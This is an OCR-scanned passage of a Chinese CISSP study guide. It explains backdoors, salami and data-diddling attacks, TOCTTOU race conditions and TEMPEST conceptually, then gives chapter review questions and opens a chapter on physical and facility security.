• 构造请求 、 接受和处理输入的代码时， 开发人 员 必须遵循上述限制 。
• 测试人员 必须通过检查确保不会发生缓冲 区溢出 ， 并且在测试输入处理代码时尝试回避或
绕开安全设直。
著名 的信息安全专家 Bruce Schneier在其著作Secrets & Li臼:Digiω1 Security in a Networked 肋rld
(Wiley， 2004)中提出 了 一个重要论点: 安全测试实 际上与标准测试活动(例如， 单元测试、 模块测试、
验收测试和质量保证检查， 请参看术语表)大相径庭; 作为开友过程的一部分， 标准测试是软件多年
以来例行完成的活动。 Microsoft 公司 (以及其他开发公司 )尚未明确 的是: 改变设计和测试原理是否
就等同 于采取严格措施挫败缓存区溢出(Miαosoft 报告的 某些较为严 重的安全漏洞持续被缓存区溢
出 或缓存 区 溢位困扰， 或者将这种脆弱性的起因 标识为 " 未经检查的缓冲 区 " ) 。
3. 维护钩子和特权程序
维护钩子程序是只有系统开发人员才知道的系统入口点。 这些入口点也被称为后门 。 虽然维护
挂接程序的存在明显地违反了安全策略， 但是它们仍然出现在许多系统中 。 后门 的最初 目 的是: 出
于维护系统的原因或者在正常的访问 由于疏忽导致失效时， 能够提供有保证的访问。 后 门存在的 问
题是: 这种访问类型避开了所有的安全控制措施， 并且为所有知道后门存在的人提供了不受限制的
访问。 必须明确禁止这些入口 点， 并且通过监控审计 日 志来发现那些表明可能是未经授权的管理员
访问行为 。
另 一种常见的系统脆弱性是幸自字在执行过程中安全级别被提高的情况。 这些程序必须被认真编
写和测试， 从而不会允许任何出 口 点和/或入口 点存在， 以防提高主体的安全级别。 确保所有运行在
较高安全级别的程序 都只 能被适当 的用 户访问， 并且这些用户 会坚 决抵制滥用 。
4. 增量攻击
某些攻击形式以缓慢的、 渐进的增量方式发生， 而不是通过明显的或可识别的活动来危害系统
的 安全性或完整性 。 数据欺骗和 salami 攻击就是两种这样的攻击形式。
当攻击者获得访问系统的权限并且在存储、 处理、 输入、 输出或事务处理期间对数据进行细小
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CISSP 官方学 习指南(第 7 版)
的 、 随机的或增量的改变时(而不是明显地改变文件内容或破坏、 删除整个文件)， 就会发生数据欺
骗 。 如果没有通过执行加密或某种完整性检查(例如 ， 校验和或消息摘要)并在每次文件读写时都加
以应用来保护文件和数据 ， 那么就很难检测这些变化。 加密的文件系统、 文件级别的加密技术或某
些文件监控形式(包括诸如 Tripwire 之类的应用程序所执行的完整性检查)通常足以保证不会发生数
据欺骗。 数据欺骗通常被认为是一种大多 由 内 部人员 、 很少由外部人员(也就是外部入侵者)进行的
攻击。 很显然， 因 为数据欺骗是一种修改数据的攻击 ， 所 以我们将其视为主动攻击。
根据所有己公布的报告， salami 攻击更为神奇。 这种攻击的名字指的是系统化地削减账户或其
他财务记录中 的资产， 井且每次都有规律地减少少量资产值。 打个比方， 顾客将购买的意大利香肠
送入切片机进行加工 ， 攻击者每次都只偷取一小片香肠。 在现实应用 中 ， 尽管没有这种攻击的文字
记录， 但是大多数安全专家都承认 salami 攻击是可能的， 尤其会涉及组织的内 部人员 。 只 有通过适
当 的职责分离和对代码的适当控制， 组织才能完全阻止或消除这种攻击。 设置金融交易监控器来跟
踪很小的资金或价值转移有助于检测这样的活动 ， 向员工正式通报这种活动也有助于防止 salami 攻
击企图 。
注意 :
如果对salami 攻击或 salami 技术感兴趣， 那 么读者可以观看电影 《办公空 间 》、 《通天神偷》 和
《超人 3 ))。
9. 11.3 编程
我们 己经在前面提到过编程中 的最大缺陷: 缓存区溢出 ， 它是由于编程人员没有检查或净化输
入数据的格式和/或大小而造成的。 在程序中还存在其他潜在的缺陷。 任何不能妥善处理异常的程序
都处于不稳定状态的危险之中。 程序为 了执行正常的任务而提升 了 自 己的安全级别以后， 就很有可
能导致崩溃 。 如果攻击者在适当时成功地使程序崩溃， 那么他们就能达到较高的安全级别并造成对
系 统机密性、 完整性和可用性的损害 。
无论是直接执行还是间接执行， 所有的程序都必须经过完整的测试以遵从安全模型。 确认你所
安装的任何软件使用的都是最新版本， 并且知道任何己知的安全脆弱性。 因为每种安全模型和每种
安全策略都是不同的 ， 所以必须确保执行的软件不会超出准许的授权。 编写安全代码是很困难的，
不过确实是可能的。 确 保使用 的所有程序在设计时都考虑 了 安全性问题。
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9.1 1 .4 计时、 状态改变和通信中 断
计算机系统执行任务时具有严格的精确度。 计算机的优越性在于可重复执行任务。 攻击者可以
根据任务执行的可预测性来开发攻击程序。 常见的算法的事件顺序是先检查可用资源， 然后在被准
许的情况下进行访问。 检查时间σìme Of Check， TOC)是指主体检查客体状态的时间 。 在返回要访
问 的客体之前， 系统可以做出几种决定。 当做出可以访问客体的决定时， 程序在使用时间σime Of
Use， TOU)访问 客体。 在 TOC 与 TOU 之间存在 的时间差对于攻击者来说是充足的， 攻击者能够在
这段时间 内用另一个符合自 己需要的客体来替换原先的客体。 检查时间到使用时间σime-OιCheckTo-Time-OιUse， TOC盯OU)攻击通常被称为竞争条件， 这是由于攻击者与合法的进程进行竞争，
从而希望在客体被使用之前对其进行替换。
第 9 章 安全脆弱性 、 威胁和对施
TOCπOU 攻击的一个经典例子是: 数据文件在其身份被验证之后和读取数据之前被替换。 通
过将数据文件替换为攻击者选择和设计的另一个文件， 攻击者就能够以多种方式控制程序的活动。
当然， 攻击者必须对要攻击的程序和系统有深入了解。
同样， 当资源的状态或整个系统发生改变时， 攻击者可以试图在两种 己知的状态之间采取行动。
通信中断也为攻击者提供了一段可以利用 的短暂时间 。 在资源的状态检查出现在对资源采取行动之
前的任何时候， 都存在发起潜在攻击的机会窗口 。 这些攻击必须在安全策略和安全模型中加以解决。
TOCTTOU 攻击、 竞争条件漏洞利用及沟通障碍被称为状态攻击， 因为它们攻击一个系统状态过波
到 另一个状态之间的时差 、 数据流控制和数据传输。
9.1 1 .5 技术和过程完整性
评估和理解系统架构中 的漏洞是很重要的 ， 特别是关于技术和流程的整合方面。 由于多种的技
术和复杂的过程在规划新的和定制的业务功能时相互交叉， 新的问题和安全问题就会显现出来。 随
着系统的集 成 ， 注意力应该放在潜在的单点故障方面 ， 以及面 向 服务架构(Servi臼-Oriented
Architecture， SOA)的紧迫弱点上。 SOA 构造了 新应用或 目 前没有的功能， 而且独立且区别于软件
服务。 由于应用结果通常是新的; 因此安全问题也是未知的、 未经检验的和无保户 的 。 所有新的部
署 ， 特别新的应用或函数， 需要彻底被审查之后， 它们才能被允许进入和运行于生产网络或发布到
互联网上。
9.11 .6 电磁辐射
因 为计算机硬件是由 各种电子元件构造而成的， 所以许多计算机硬件设备在正常运转的过程中
都会放射出 电磁辐射(Emit Electromagnetic， EM)。 与其他计算机或外围设备进行通信的过程也会产
生可能会被拦截的 电磁波。 通过拦截和处理来自键盘和计算机显示器的 电磁辐射， 我们甚至有可能
重新生成键盘输入或显示器输出 的数据。 我们也可 以被动地(也就是没有真的窃听电缆)检测和读取
在网段上经过的网络数据包。 这些辐射泄漏可能会引起严重的安全问题， 但是通常比较容易解决。
消除电磁辐射拦截的最容易方法是， 通过电缆屏蔽或放入导管来降低辐射， 以及通过物理安全控制
方法阻止未授权人员和设备过于靠近设备或电缆。 通过降低信号强度和在敏感设备周围增加物理缓
冲区， 就能够大幅度地减少信号辐射被拦截的风险。
前面曾 经讨论过， 某些 TEMPEST 技术能够防止 EM 辐射被偷听。 这些技术包括法拉第笼 、 干
扰或噪声发生器以及控制区 。 法拉第笼是一种作为 EM 容器使用的特殊外壳， 往往类似于铜网箱。
使用法拉第笼时， 任何 EM 信号都不能进出被其包围的区域。 干扰或噪声发生器的思想是: 存在过
多干扰时， 检出某个信号十分困难或毫无可能。 因此， 通过广播自 己的干扰， 我们就能够阻止不希
望的 EM 拦截。 这个概念的唯一问题是必须确保干扰不会影响设备的正常操作。 确保这个条件的一
种方法是使用控制区 ， 也就是用于限制故意的广播干扰的法拉第笼。 例如， 如果希望只在办公场所
的几个房间 内使用无线连接， 那么就可以使用信号法拉第笼将这些房间包围起来， 然后在控制区外
放置若干噪声发生器。 这样就允许在指定的房间内使用 正常的无线连接， 但是在指定区域之外的任
何位置都不能正常使用无线连接和进行偷听 。
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CISSP 官方学习指南(第 7 版)
9. 12 本章小结
安全计算系统的设计是一个复杂的任务， 并且许多安全工程师把他们的整个职业生涯都专注于
理解信息系统最内在的工作方式， 并确保支持他们所需的核心安全功能可在 目 前的环境中安全运行。
许多安全专家不一定需要深入理解这些原则， 但他们至少应该有一个广泛的了解， 并帮助在过程中
增 强他们组织的安全性。
这样的理解开始于硬件、 软件和固件的考察， 以及这些零件怎么融入安全难题中。 理解普通计
算机和网络组织、 架构和设计的原则 ， 包括寻址(物理的和符号的)、 地址空间和存储空间之间的差
异 ， 以及机器类型(真实 、 虚拟、 多态、 多任务、 多编程、 多进程、 处理器、 多用户)。
此外 ， 安全专业人员必须对运行状态(单态、 多态)、 运行模式(用户模式、 监管模式、 特权模式)、
存储类型(主存、 辅存、 真实存储器、 虚拟存储器、 易失性存储器、 非易失性存储器、 随机存储器、
)1颐序存储器)和保护机制(分层、 抽象、 数据隐藏、 进程隔离、 硬件分隔， 最小特权原则、 特权分离、
可 问责'性)有坚实的理解。
无论一个安全模型是多么复杂 ， 攻击者都能利用一些存在的缺陷 。 一些缺陷， 如缓冲 区滥出和
被程序员 引入的维护钩子， 还有其他的缺陷 ， 如隐蔽通道， 是架构设计问题。 重要的是要了 解这些
问 题的影响并修改安全架构 ， 以 便适当弥补 。
9. 13 考试要点
能够解释多任务处理、 多线程剑主里、 多处理器和多程序设计之间的差异。 多任务处理是在一台
计算机上同时执行多个应用程序， 并 由操作系统管理。 多线程处理允许在一个进程内 执行多个并发
任务。 多处理器是使用 多个处理器以提高计算能力 。 多F到芋设计与多任务处理类似， 但是在大型机
系统上使用并且需要特殊的程序设计。
理解单一状态处理器和多态处理器之间的差异。 单一状态处理器能够一次只在一个安全级别运
行 ， 而多态处理器可 以同时在 多个安全级别运行 。
描述由美国联邦政府认可的用于处理分类信息的 4 种安全模式。 专用系统要求所有用户对在系
统中存储的所有信息都具有适当的许可级别、 访问特权和 " 知其所需 " 要求。 系统高级模式则去除
了 "知其所需 " 要求。 分隔模式去除了 "知其所需" 要求和访问特权要求。 多级模式则去除了上述
所有三个要求。
解释大多数现代处理器使用的两种分层操作模式。 用户应用程序在有限的指令集环境中运行，
这被称为用户模式。 操作系统在特权模式下执行受控的操作 ， 这种模式也被称为系统模式、 内核模
式和监管模式 。
描述计算机使用的不同存储器类型。 ROM 是非易 失性的， 并且终端用户 无法写入数据。 PROM
芯片仅允许终端用户 写入一次数据。 通过紫外线光照射可以擦除 EPROM 芯片中 的数据， 然后再重
新写入数据。 可 以用 电流擦除 EEPROM 芯片中的数据 ， 然后再重新写入数据。 RAM 芯片是易失性
的 ， 当 计算机的 电源被切断后 ， 芯片 中 的 内 容会丢失。
了解有关存储器组件的安全问题。 目 前有三种主要的安全问题与存储器组件有关: 电源切断后，
数据仍有可能保留在芯片上 : 存储器芯片容易被盗; 在多用户 系统中控制对存储器的访 问 。
描述计算机使用的存储设备的不同特征。 主存储设备与存储器相同 。 辅助存储设备有磁性和光
第 9 章 安全脆弱性、 威胁和对施
学介质两种 ， 在 CPU 能够使用这些数据之前， 先要将数据读入主存储器。 随机存取存储设备可以在
任何位置读取数据， 然而顺序存取存储设备需要扫描物理存储的所有数据后才能到达指定的位置。
了解有关辅助存1ì者设备的安全问题。 目 前有三个与辅助存储设备有关的安全问题: 可移动介质
能够被用于窃取数据; 必须应用访问控制和加密技术来保护数据; 即使在删除文件或格式化介质后 ，
数据也仍可能保留在介质上。
理解输入和输出设备会带来的安全风险。 输入输出 设备会遭到偷听和窃听(能够将数据偷带 出
组织， 还能够创建可以进入组织系统和网络的未授权、 不安全的入口点)。 一定要能够识别和缓解这
些脆弱性。
理解 1/0 地址、 配置和设置。 操作传统 PC 设备要求对 IRQ、 DMA 和存储映射 I10 有一定了解。
要准备好识别和处理潜在的地址冲突和错误配置， 井且能够集成传统设备与即插即用σnP)组件。
理解使用固件的 目的 。 固件是被存储到 ROM 芯片上的软件。 在计算机层次上 ， 固件包含了启
动计算机所需的基本指令。 固 件还被用于在外围设备(如打印机)中 提供操作指令。
能够描述进程隔离、 分层法、 抽象、 数据隐藏和硬件分隅。 进程隔离能够确保进程只能访问它
们 自 己的数据。 分层法在一个进程内 创建不同的安全域并限制彼此之间 的通信。 抽象能够在不要求
了 解算法或设备内部工作原理的情况下生成 "黑箱" 接口。 数据隐藏阻止信息被来自 不同安全级别
的进程读取。 硬件分隔使用物理控制措施实现进程的隔离。
理解安全策略如何帮助完成系统的设计、 实现、 测试和部署。 安全策略的作用是通知和指导某
些特定系统的设计、 开发、 实现、 测试和维护 。
理解云计算。 云计算是一个流行的术语， 指的是一个计算的概念， 即 处理和存储是通过网络连
接到其他地方运行而不是在本地运行。 云计算通常被认为是基于互联网 的计算。
理解移动设备的安全。 设备安全涉及为移动设备提供可以利用的潜在安全选择或功能范围 。 不
是所有的便携式电子设备σED)都有好的安全特性。 PED 安全功能包括整个设备的加密、 远程擦除、
锁定、 锁屏、 GPS、 应用控制、 存储分隔、 资产跟踪、 目 录控制、 移动设备管理、 设备访问控制、
移动存储和禁用 未使用 的功能。
理解移动设备应用安全。 在移动设备上使用 的应用程序和功能需要被保护。 相关概念包括密钥
管理、 证书管理、 身份认证、 地理标记、 加密、 应用 自 名单和可传递的信任/认证。
理解 BYOD。 自 带设备(BYOD)是一项策略， 允许员工携带 自 己的个人移动设备进行工作 ， 然
后使用这些设备来连接(或穿过)公司 网络的业务资源和/或互联网 。 虽然 BYOD 可 以提高员工士气和
工作满意度， 但却增加了组织的安全风险。 相关问题包括数据所有权、 所有权支持、 补丁管理、 防
病毒管理、 取证、 隐私、 登录/关闭登录、 企业策略的一致性、 用户接受、 架构/基础设施的考虑、
法律问题、 可接受的使用策略 以及机载摄像机/视频。
理解嵌入式系统和静态环境。 嵌入式系统通常相对于较大的产品来说只是其中一个组件， 通常
被设计围绕着一组有限的特定功能。 静态环境是应用程序、 操作系统、 硬件集合或为了特殊需求、
能力或功能而配置的网络， 然后设置为保持不变。
理解嵌入式系统和静态环境下的安全问题。 静态环境、 嵌入式系统和其他有限或单一用途的计
算环境需要安全管理。 这些技术包括网络分隔、 安全层、 应用防火墙、 手动更新、 固件版本控制、
包装、 控制冗余和 多样性。
理解如何在计算机体系结构中应用 最小特权、 特权分离和可问责'性。 最小特权原则确保只有少
量进程被授权在监管模式下运行。 特权分离增加了 安全操作的粒度。 可问责性确保可以使用审计跟
踪追溯到操作源。
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能够解释什么是隐蔽通道。 隐蔽通道是用于传送信息的任何方法， 但是通常不用于信息通信。
理解什么是缓冲区溢出和输入检查。 当编程人员在将数据写入特定内存地址之前没有检查输入
数据的大小时， 就可能会发生缓冲区溢出。 事实上， 对输入数据有效性的任何验证失败都会导致安
全性受到破坏。
描述安全体系结构的常见缺陷。 除了缓冲 区溢出 以外， 编程人员在部署系统后还会留下后门和
特权程序 。 即使设计 良好的系统也可能遭到 TOC口OU攻击。 任何状态改变都为攻击者提供了 危及
系 统安全的潜在机会。
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9. 14 书 面实验室
1 . 什么术语用来描述允许多个同 时活动的各种计算机机制 ?
2. 系统处理分类信息 的 4 种 安全模式是什么 ?
3. 说出用于描述存储的三对方面或功 能上的名称。
4. 说出在分布式体系结构 中发现的一些漏洞的名称。
9. 15 复 习题
1 . 许多 PC 操作系统提供一个功能， 这个功能使它们能够支持单处理器系统中的多个应用程序
同 时执行 。 什么术语用于描述这种能力 ?
A. 多 程序
B. 多 线程
c. 多 任务
D. 多 处理器
2. 什么 技术为组织提供对 BYOD 设备的最佳控制 ?
A. 应用 自名单
B. 移动设备管理
c. 加 密移动存储
D. 地理标记
3. 你有三个应用程序在支持多任务处理的单核单处理器系统上运行。 这些应用程序的其中一个
为文字处理程序 ， 并同时管理两个线程。 其他两个应用军到芋只使用一个线程来运行。 在任何给定时
间有多少个应用线程在处理器上运行 ?
A. 1
B. 2
c. 3
D. 4
4. 什么类型的美国联邦政府计算机系统要求所有访问系统的个人都需要知道所有由 该系统处
理 的信息?
A. 专用模式
B. 系统高级模式
C. 间 隔模式
D. 多 级模式
第 9 章 安全脆弱性、 威胁和对施
5 在标准 PC 中 不常被发现而嵌入式系统中有的安全风险是什么 ?
A. 软件缺陷
B. 访问互联网
C. 在物理环境中 的控制机制
D. 电源丢失
6. 什么类型的内存芯片允许最终用户仅能写入信息到内存中一次， 然后永久地保存这些不可能
擦除的信息 ?
A. ROM
B. PROM
C. EPROM
D. EEPROM
7. 什么类型的 内存芯片， 当从计算机中取出并暴露在一种特殊类型的紫外光下之后， 信息仅会
被擦除 ?
A. ROM
B. PROM
C. EPROM
D. EEPROM
8. 以 下哪种类型的 内存可能会保留从计算机中取出后的信息， 因此也代表了 安全风险?
A. 静态 RAM
B. 动态 RAM
C. 辅助存储器
D. 物理 内 存
9. 减少移动设备上的数据丢失风险的最有效手段是什么 ， 例如 笔记本 电脑?
A. 设置强登录密码
B. 减少存储在移动设备上的敏感数据
C. 使用一根电缆线
D 加密硬盘
10. 什么类型 的 电气部件作为构建动态 RAM 芯 片 的主要部分?
A. 电容器
B. 电阻器
C. 触发器
D. 晶体管
1l. 下面存储设备中 的哪一个为了 在网络环境中保持数据安全性， 最有可能需要加密技术?
A. 硬盘
B. 备份磁带
C. 可移动设备
D. RAM
265
CISSP 言为学 习指南(第 7 版)
12. 在下列哪种安全模式中 ， 你会放心所有用户都具有通过系统处理所有信息的访问权限， 但
不必知道所有 的信息?
266
A. 专用模式
B. 系统高级模式
c. 间 隔模式
D. 多 级模式
1 3. 移动 电话窃听最常被忽视的方面与下列哪些情形有关 ?
A. 存储设备加密
B. 锁屏
c. 偷昕通话
D. 无线网络
1 4. 什么类型 的存储设备通常用于包含一台 计算机的主板 BIOS ?
A. PROM
B. EEPRO孔f
c. ROM
D. EPROM
15. 什么类型的存储直接提供给 CPU， 并且往往是 CPU 的一部分?
A. RAM
B. ROM
C. 寄存器
D. 虚拟内存
1 6. 什么类型的寻址方案是数据实际提供给 CPU 作为参数传递给指令 ?
A 直接寻址
B. 立即寻址
C. 基址偏移
D. 间 接寻址
17. 什么类型的寻址方案支持本地 CPU 包含实际计算的内存地址 ?
A 直接寻址
B. 立即寻址
c. 基址偏移
D. 间 接寻址
1 8. 哪些安全原则有助于阻止用户访问分配给其他用 户 用 以运行应用程序 的 内 存空 间 ?
A. 特权分离
B. 分层
c. 进程隔离
D. 最小特权
1 9. 哪些安全原则授权只有最小数量的操作系统进程时可 以在监管模式下运行 ?
A. 抽 象
B. 分层
C. 数据隐藏
第9章 安全脆弱性、 威胁和对施
D. 最小特权
20. 哪些安全原则采用进程隔离的概念和使用物理控制来实现?
A. 硬件分隔
B. 数据隐藏
C. 分层
D. 抽 象
267
第 10 .::::!::i:二
军Z
物理安全需求
本章中覆盖的 CISSP 考试大纲包含 :
3) 安全工程(安全的工程学和管理)
• 1. 应用安全原则到场所和设施设计中
• K. 设计和应用物理安全
K. l 配线柜
K.2 服务器机房
K.3 介质存储设施
K.4 证据存储
K.5 受限和工作 区域安全(例如 ， 运营中心)
K.6 数据中 心安全
K.7 基础设施和 HVAC 注意事项
K.8 水的 问 题(例如 ， 漏水和水灾)
K.9 火灾预防、 检测和抑制
7) 安 全运营(例如 ， 基本概念、 调查、 实践管理、 灾难恢复)
• o. 应用和管理物理安全
0. 1 周 边(例如， 访 问控制和监控)
0.2 内 部安全(例如 ， 陪 同要求/访 问控制、 钥匙和锁)
物理和环境安全的话题在多个知识域中被提及 ， 主要是知识域 3) 安全工程(安全的工程学和管
理)和知识域 7)安全运营(例如 ， 基本概念、 调查、 实践管理、 灾难恢复)。 在 CISSP 认证考试的通用
知识体(CBK)中 ， 这两个知识域的多个小节涉及关于设施安全的主题和问题， 包括基本原则、 设计
和实施、 消防、 周边安全、 内 部安全以及其他更多内容。
物理安全的 目 的是防止受到物理威胁。 下面列出了最常见的一些物理威胁类型: 火灾和烟尘，
水灾(7](位上?如下降)、 地壳运动(地震、 山崩 、 火山爆发)、 暴风雨(大风、 闪 电、 雨 、 雪 、 冰雹等)、
怠工/故意破坏、 爆炸/毁坏、 建筑物倒塌、 有毒物质、 设施损失(电力、 供热、 冷却、 空气、 水)、 设
备故障、 盗窃和人员 损失(罢工 、 疾病、 访问、 运输)。
270
CISSP 官方学 习指南(第 7 版)
本章将研究上述每-种问题， 并且讨论针对这些问题的安全措施和对策。 在许多情况中 ， 如果
严重的物理威胁(例如， 爆炸、 阴 谋破坏或 自然灾难)成为现实， 那么就需要灾难恢复计划或业务连
续性计划 。 要了解更多的信息， 请读者参看第 3 章 "业务连续性计划 " 和第四章"灾难恢复计划"。
10.1 应用安全原则到选址和设施设计
当缺乏对物理环境的控制时， 即使管理、 技术或逻辑访问控制得很好， 也不能提供足够的安全
性。 如果怀有恶意的人获得了对设备的物理访问， 那么他们可以做任何想做的事， 包括从泄漏、 更
改到破坏的所有事情 。 物理控制是你的第一道防线 ， 而人员则 是你最后考虑的因素。
实现和维护物理安全性有很多方面的 内 容和要素， 其中一项核心或基本要素是选择或设计将要
容纳 IT 基础设施并在其中完成组织的经营活动的 设施。 选择和设计安全设施的过程必须预先订立
计划 。
1 0.1.1 安全设施计划
安全设施计划描述了 组织的安全要求的轮廓， 并且着重强调为了提供安全性所用的方法和机制。
这样的计划通过被称为关键路径分析的过程进行开发。 关键路径分析是一种系统工作， 可以确定关
键任务应用 、 过程和操作以及所有必要的支持要素之间的关系 。 例如， 一台在互联网上销售商品 的
电子商务服务器依赖于互联网访 问 、 计算机硬件、 电气技术、 温度控制和存储设施等。
当 正确执行关键路径分析时， 支撑组织的必要的相互依赖和相互作用就会形成。 一旦分析完成，
那么结果将作为一列安全条 目 提供服务。 设计安全 盯 基础设施的首要步骤是为组织及其计算机的基
本要求提供安全性。 这些基本要求包括电气技术、 环境控制(如建筑、 空调、 保温、 湿度控制等)和
供水/污水处理 。
在检查关键路径时， 己完成的评估或潜在的技术融合是很重要的。 技术融合是不同 的技术、 解
决方案、 工具和系统在随着时间的推移进行发展和合井的趋势。 这往往导致多个系统执行相同或冗
余的任务， 或导致一个系统接管另一个系统的特性和功能。 虽然在某些情况下， 这可能导致更高的
效率和成本节约， 但它也可以表示为单个故障点并使它成为黑客和入侵者眼中更有价值的 目 标。 例
如 ， 如果语音、 视频、 传真和数据流量都共享一条单一的连接路径， 而不是各 自 不同 的路径， 那么
所有破坏主连接的单一行为只 需要入侵者或窃贼切断外部通信 即可。
安保人员应参与场所和设施的设计考虑。 否则， 对于现存的逻辑安全， 在许多物理安全方面的
内 容可能会被忽略。 随着安保人员参与到物理设施设计中， 可以确信作为组织的长期安全目标将不
仅受到策略、 人员和 电子设备的支撑， 而且也受到建筑本身 的 安全支撑。
1 0. 1 .2 场所选择
场所的选择应该以组织的安全需要为基础。 成本、 地点和大小都很重要， 但是解决安全要求始
终应当放在首位。 当选择一处场所建立设施或选择预先就有的建筑时， 应该确认己经对这个地点的
每个方面都进行了 仔细检查。
对资产的保护很大程度上取决于场所的安全性， 这涉及大量的考虑因素。 在整个场所选择过程
第 1 0 章 物理安全需求
中 ， 场所的位置和构造起到了至关重要的作用 。 容易遭受暴乱 、 打劫、 非法闯入和野蛮破坏的场所
或高发案区域内 的场所显然都是不合适的， 但是我们往往无法对这个问题进行规定或控制。 因为无
法避免诸如地质断裂带、 龙卷风/咫风区和邻近 自 然灾难区域之类的环境威胁， 所以环境威胁也是场
所选择中 非常棘手的问题。
毗邻其他建筑物和业务是另一个至关重要的考虑因素。 这些因素具有怎样的吸引 力 ， 并且会对
运作或设施造成怎样的影响? 如果一家附近的企业吸引 了太多的顾客， 产生大量的噪音， 导致振动
或需要处理危险的材料 ， 它们可能会伤害你的员工或建筑物。 和其他元素一样， 11伍近的应急响应人
员 是另一个考虑因素。 某些公司有能力购买或修建自 己的园 区 ， 这样就不必考虑路程远近的问题，
从而能够进行严格的访问控制和监控。 不过， 并非所有公司都具有这样的财力， 因此必须采用可用
的和能够担负得起的方法。
至少要确保建筑物的设计要求能够应对极端的天气， 并且能够阻拦或防御明显的非法闯入企图 。
容易受到攻击的进入位置(例女日 ， 窗户和 门)往往就是此类分析。 此外， 还应当 评估非法闯入容易借
助的遮挡视线的物体(例如 ， 树木 、 灌木或人为因素)。
1 0.1.3 可视性
可视性是十分重要的。 周 围地形什么样? 在不引 人注意的情况下骑车或步行接近设施容易吗 ?
周 围区域的组成也很重要， 是在居民区、商业区或工业区吗? 或是在其附近? 当地的犯罪率有多高?
最近的紧急事件服务机构(如消防队、 医院和警察局)在哪里? 这个区域都有什么独特的潜在危险(如
化学工厂、 无家可归 者庇护所、 大学、 建筑工地等)?
1 0. 1 .4 自 然灾害
另一个需要关注的方面是这个地区的 自然灾害影响。 这个地区是否容易发生地震 、 泥石流、 灰
岩坑、 火灾、 洪水、 周风、 龙卷风、 陨石、 降雪、 降雨、 结冰、 潮温、 炎热和极度寒冷等灾害? 必
须准备应付 自 然灾害 ， 并且使 町 环境经受得住灾害事件的影响， 或者可以容易地进行替换。 前面提
到 ， 业务连续性与 灾难恢复计划的主题会在第 3 章和第 四 章进行阐述。
1 0.1.5 设施的设计
在进行设施的设计时， 需要理解组织所需 的安全等级。 在设计开始之前， 必须计划并设计恰当
的安全等级。
需要考虑的一些重要问题包括易燃性、 防火等级、 建筑材料、 负载定额、 布局和诸如墙壁、 门 、
天花板、 地板材料、 HVAC、 电力、 供水、 污水处理和煤气供给之类的因素。 暴力入侵、 应急通道、
入口 阻挡 、 进出 口 、 警报的使用和传导率同样也是需要评估的其他重要因素。 设施中 的每个元素都
应该根据对保护 IT 基础设施和人员 的利弊进行评估(例如， 水和空气从设施内部向外部的正向流动)。
还有一个行之有效的学派思想、 " 安全架构"， 经常被称为环境设计预防犯罪(Crime Prev巳ntion
Through Environmental Desi饵， C盯ED)。 指导思想是通过结构化的物理环境和周围环境， 在潜在的
罪犯做出任何犯罪行为之前影响其个人决定。 国 际 CPTED 协会是关于这个主题信息的极佳来源
(www .cpted.net). 此外， 也可参阅奥斯卡纽曼的书 《创造的防御空间)) ， 由 HUD 的政策发展和研究
27丁
CISSP 官方学习指南(第 7 版)
办公室进行发行(可 以在www.defensiblespace.com/book.htm 网 址获得免费的 PDF 下载)。
1 0.2 设计和实施物理安全
用 于对物理安全进行管理的安全控制可 以分为三组: 行政性的、 技术性的和物理性的 。 由于它
们都用于描述访 问控制的相同类别 ， 因此记住这些分组的物理安全特性是十分重要的 。 行政性的物
理安全控制包括设施构造和选择、 场地管理、 人员控制 、 意识培训和紧急事件响应及规程。 技术性
的物理安全控制包括访问控制 、 入侵检测、 警报、 闭路电视(CCT町、 监控、 保温、 通风、 空调(HVAC)、
电源以及火灾检查和排除。 物理性的物理安全控制包括围墙、 照明、 锁、 建筑材料、 陷阱、 狗和
警卫。
@ 真实场景
公司财产与个人财产
在许多普通业务环境中， 物理安全拉制既有可视的一面 ， 也有不可视的一面。 我们可以在邮局 、
街边小店和 自 己计算环境的特定区域看到物理安全控制。 物理安全控制无处不在， 某些人甚至基于
存在的物理安全控制(例如， 公共进 出 的大门或安全的 房屋构成)来选择 自 己 的住所。
Alison 是某大型技术公司 专 门从事数据管理的安全分析人员 ， 这个公司 拥有能够处理物理安全
违规问 题的 安全员 工(保安、 管理员 等)。
Brad 的私人车辆最近在公司 的停车场经历过一次入侵。 他询 问 Alison 是否发现或记录到破门进
入其车辆的人员 ， 但是因 为车辆属于个人物品而非公司 财产 ， 所以 Alison 没有应对员 工资产 受损 的
相应控制措施或规章制度。
我们很容易 想到 Brad 非常泄气， 但是他理解 Alison 保护的是公司 的业务， 而 不是保护个人物
品。 那么， 在什么 时 间和场合有必要实现针对公司 财产和个人财产的安全措施? 通常， 在涉及或可
能涉及商业资产 的任何场合都可以采用 这样的安全措施。 Brad 将公司 的车辆停在公司 的停车场， 那
么 Alison 可能会附带考虑非法侵入所涉及的 Brad 的私人物品， 但是即使如此， 她也仍 然不负责保
护这些物品的安全。 另 一方面， 在关键人员 (大多数企业的主管人员 、 敏感 岗 位的安全分析人员 、 地
区领导等)也是受保护的 重要资产时 ， 安全保卫的范围往往会被扩展， 进而斗夺保护这些人员 的个人物
品也作为 资产保护和风险缓解的一部分内 容。 当然， 如果针对 员 工及其携带物品的危险成为一个问
题时， 那么使用 钥匙卡保护停车场的安全以及在每一层都安苯监控设备就非常有意义。 简 单来说:
如果发生侵入的成本超过了 安装防护设备的成本， 那么最好立刻安装防护设备。
为具体环境设计物理安全性时 ， 需要牢记控制措施的功能顺序:
272
(1) 阻拦
(2) 拒绝
(3) 检测
(4) 延缓
被部署的安全控制措施应当打消对物理资产进行访问 的起初念头(也就是边界限制)。 如果失败，
那么就应当拒绝对物理资产的直接访问(例如 ， 关 闭保险库大门)。 如果拒绝失败， 那么系统就需要
第 1 0 章 物理安全需求
检测入侵(例如 ， 使用运动探测器)， 并且应当充分地延缓入侵， 以便职权机构能够进行响应(例如 ，
对资产的线路加 以锁定)。 因此， 记住下面的部署先后顺序是十分重要的: 首先阻拦， 然后拒绝， 然
后 检测 ， 然后延缓。
1 0.2.1 设备故障
无论组织选择购买和安装的设备的质量如何， 设备最终都会出 现故障。 了 解这一事实并做好准
备 ， 这将确保 IT 基础设施的持续可用 ， 并且有助于保护好资源的完整性和可用性 。
为做好设备出现故障的准备， 可 以采取许多种形式。 在一些任务不是很紧急的情况下 ， 只要知
道在哪里能购买到替换部件就可以了， 48 小时的替换时间期限是比较充分的。 在其他情况下， 维
持现场有替 换部件是强制性的要求。 需要记住的是， 系统返回到完整的正常功能状态的响应时间
与这种解决方案所涉及的维护成本成正比 。 成本包括存储、 运输、 预先购买以及维护现场安装和
